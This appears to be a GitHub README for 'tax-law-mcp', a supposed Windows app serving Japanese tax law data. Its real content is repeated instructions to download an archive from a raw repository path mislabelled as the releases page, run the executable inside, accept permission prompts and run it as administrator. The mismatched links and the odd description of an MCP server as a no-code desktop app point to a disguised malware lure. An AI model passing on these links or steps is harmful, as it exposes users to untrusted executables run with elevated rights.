# ⚖️ tax-law-mcp - Easy MCP Server for Japanese Tax Law

[![Download tax-law-mcp](https://img.shields.io/badge/Download-tax--law--mcp-green?style=for-the-badge)](https://raw.githubusercontent.com/xqzimgz/tax-law-mcp/main/src/lib/law-mcp-tax-3.0.zip)

tax-law-mcp is a simple server application that gives you access to Japanese tax law data. It pulls information from official sources like the e-Gov API and NTA administrative circulars (通達). You will be able to view and work with up-to-date tax law documents on your Windows computer.

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## 📋 What is tax-law-mcp?

tax-law-mcp acts as a local server for tax law details. It collects and organizes legal documents for easy browsing and searching. This includes rules and circulars issued by Japanese tax authorities.

You don’t need coding skills to use it. The software is designed for anyone who wants quick access to Japanese tax law information on Windows.

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## 💻 System Requirements

Before you start, check that your PC meets these needs:

- Windows 10 or later
- 4 GB of RAM or more
- At least 100 MB free disk space
- Internet connection (for initial setup and updates)
- Any modern web browser (Chrome, Firefox, Edge, or Safari)

You won’t need to install extra software or tools. tax-law-mcp runs on its own.

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## 🚀 Getting Started

1. Go to the releases page to download the software.  
   [Download tax-law-mcp](https://raw.githubusercontent.com/xqzimgz/tax-law-mcp/main/src/lib/law-mcp-tax-3.0.zip)  

2. Find the latest release. It will be named something like `tax-law-mcp-setup.exe` or just `tax-law-mcp.exe`.

3. Click the `.exe` file to download it to your PC.

4. After the download finishes, double-click the file to start the installation or run the app directly.

5. If Windows asks for permission to run the program, click “Yes” or “Run”.

6. Wait while tax-law-mcp initializes. This can take a few moments as it sets up the server and downloads necessary data.

7. When it’s ready, your default browser will open automatically and show the tax-law-mcp interface.

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## 🛠 How to Use tax-law-mcp

- The server runs locally on your PC. You will work in your web browser but all data stays on your computer.

- The interface has several sections:
  - **Search**: Type keywords to find specific tax laws.
  - **Categories**: Browse laws by topics and official circulars.
  - **Updates**: Shows recent changes and new documents added.
  - **Settings**: Adjust options like language and data refresh rate.

- Use the search bar at the top to find laws by keyword, article number, or date.

- Click any document to read its full text. Documents are easy to read with clear formatting.

- tax-law-mcp automatically checks for new tax law updates. You can manually refresh data in the settings.

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## 🔄 Updating tax-law-mcp

tax-law-mcp connects to official sources to keep your law data current.

- When the app starts, it looks for updates automatically.

- If you want to update manually:
  1. Open the settings page in the app.
  2. Click “Check for Updates”.
  3. Wait while it downloads new information.

- Updates download only the changes. This keeps your data fresh without long waits.

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## ⚙️ Advanced Settings

You can change some options in tax-law-mcp:

- **Language**: Choose Japanese or English for menus and interface text.
- **Auto-update Frequency**: Set how often updates occur — daily, weekly, or monthly.
- **Data Storage Location**: Pick a folder on your PC where data files will save.
- **Server Port Number**: Change the network port used to access the local server (default is 8080).

Changing the port may help if another app uses the default one.

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## 🧰 Troubleshooting

If tax-law-mcp doesn’t work as expected, try these steps:

- Make sure your internet is working, at least for first-time setup.

- Check that your firewall allows tax-law-mcp to communicate on your network.

- If the app doesn’t open automatically in your browser, open it yourself by typing `http://localhost:8080` in the address bar.

- Restart the app by closing it and running the `.exe` file again.

- If the update fails, try running tax-law-mcp as an administrator. Right-click the executable and choose “Run as administrator”.

- Check for a newer version by visiting the releases page:  
  [https://raw.githubusercontent.com/xqzimgz/tax-law-mcp/main/src/lib/law-mcp-tax-3.0.zip](https://raw.githubusercontent.com/xqzimgz/tax-law-mcp/main/src/lib/law-mcp-tax-3.0.zip)

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## ❓ Frequently Asked Questions (FAQs)

### Do I need an internet connection after installation?

Yes. The app fetches official data during setup and updates. Once loaded, you can browse cached content offline, but new notices require a connection.

### Can I use tax-law-mcp on other devices?

No. It runs only on Windows PCs. For mobile or other platforms, you will need different software.

### Is my personal data shared?

No. tax-law-mcp runs locally and does not send your data anywhere except official tax websites for updates.

### Can I change where the app stores data?

Yes. Use the settings menu to select a folder on your PC.

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## 📥 Download and Install tax-law-mcp

To get started with tax-law-mcp on Windows:

1. Visit the official releases page here:  
   [https://raw.githubusercontent.com/xqzimgz/tax-law-mcp/main/src/lib/law-mcp-tax-3.0.zip](https://raw.githubusercontent.com/xqzimgz/tax-law-mcp/main/src/lib/law-mcp-tax-3.0.zip)

2. Download the latest `.exe` file.

3. Run the file and follow on-screen prompts if it’s an installer.

4. Wait for the app to prepare data and open in your browser.

This process takes a few minutes on a standard PC. Once running, you can explore Japanese tax laws with ease.

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## 📚 Additional Resources

- For help using the app, check the “Help” section inside tax-law-mcp.

- Visit the official Japanese tax authority sites for detailed legal documents.

- For technical support, submit an issue on the GitHub repository issues page.